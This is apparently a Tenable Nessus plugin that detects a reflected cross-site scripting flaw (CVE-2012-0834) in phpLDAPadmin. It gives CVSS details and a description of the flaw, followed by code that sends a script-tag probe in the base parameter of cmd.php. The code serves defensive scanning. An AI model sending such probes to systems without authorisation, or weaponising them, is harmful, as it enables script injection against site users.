CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
EPSS
Percentile
75.5%
The version of phpLDAPadmin on the remote host fails to properly sanitize the base parameter of ‘lib/QueryRender.php’ script before using it to generate dynamic HTML.
By tricking someone into clicking on a specially crafted link, an attacker may be able exploit this to inject arbitrary HTML and script code in a user’s browser to be executed within the security context of the affected site.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(58040);
script_version("1.8");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2012-0834");
script_bugtraq_id(51793);
script_name(english:"phpLDAPadmin lib/QueryRender.php base Parameter XSS");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is vulnerable to a
reflected cross-site scripting attack.");
script_set_attribute(attribute:"description", value:
"The version of phpLDAPadmin on the remote host fails to properly
sanitize the base parameter of 'lib/QueryRender.php' script before
using it to generate dynamic HTML.
By tricking someone into clicking on a specially crafted link, an
attacker may be able exploit this to inject arbitrary HTML and script
code in a user's browser to be executed within the security context of
the affected site.");
# http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;a=commit;h=7dc8d57d6952fe681cb9e8818df7f103220457bd
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a5a0f3cc");
# http://sourceforge.net/tracker/index.php?func=detail&aid=3477910&group_id=61828&atid=498546
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2962f46b");
script_set_attribute(attribute:"solution", value:
"Grab the latest copy of 'lib/QueryRender.php' from the phpLDAPadmin
GIT repository or patch the file manually.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
script_set_attribute(attribute:"vuln_publication_date", value:"2012/01/23");
script_set_attribute(attribute:"patch_publication_date", value:"2012/01/24");
script_set_attribute(attribute:"plugin_publication_date", value:"2012/02/20");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:deon_george:phpldapadmin");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses : XSS");
script_copyright(english:"This script is Copyright (C) 2012-2022 Tenable Network Security, Inc.");
script_dependencies("phpldapadmin_detect.nasl");
script_require_keys("www/phpLDAPadmin");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
port = get_http_port(default:80, php:TRUE, embedded:FALSE);
install = get_install_from_kb(appname:"phpLDAPadmin", port:port, exit_on_fail:TRUE);
dir = install['dir'] + '/';
vuln_script = 'cmd.php';
xss = "<script>alert('" + SCRIPT_NAME + "')</script>";
exploit = "cmd=query_engine&query=none&base=" + urlencode(str:xss) + "&search=Search";
# cookies present in redirects...
clear_cookiejar();
res = test_cgi_xss(
port: port,
dirs: make_list(dir),
cgi: vuln_script,
qs: exploit,
pass_str: '>' + xss + '<',
ctrl_re: 'phpLDAPadmin',
follow_redirect: 2
);
if (!res) exit(0, "The phpLDAPadmin install at "+build_url(qs:dir, port:port)+" is not affected.");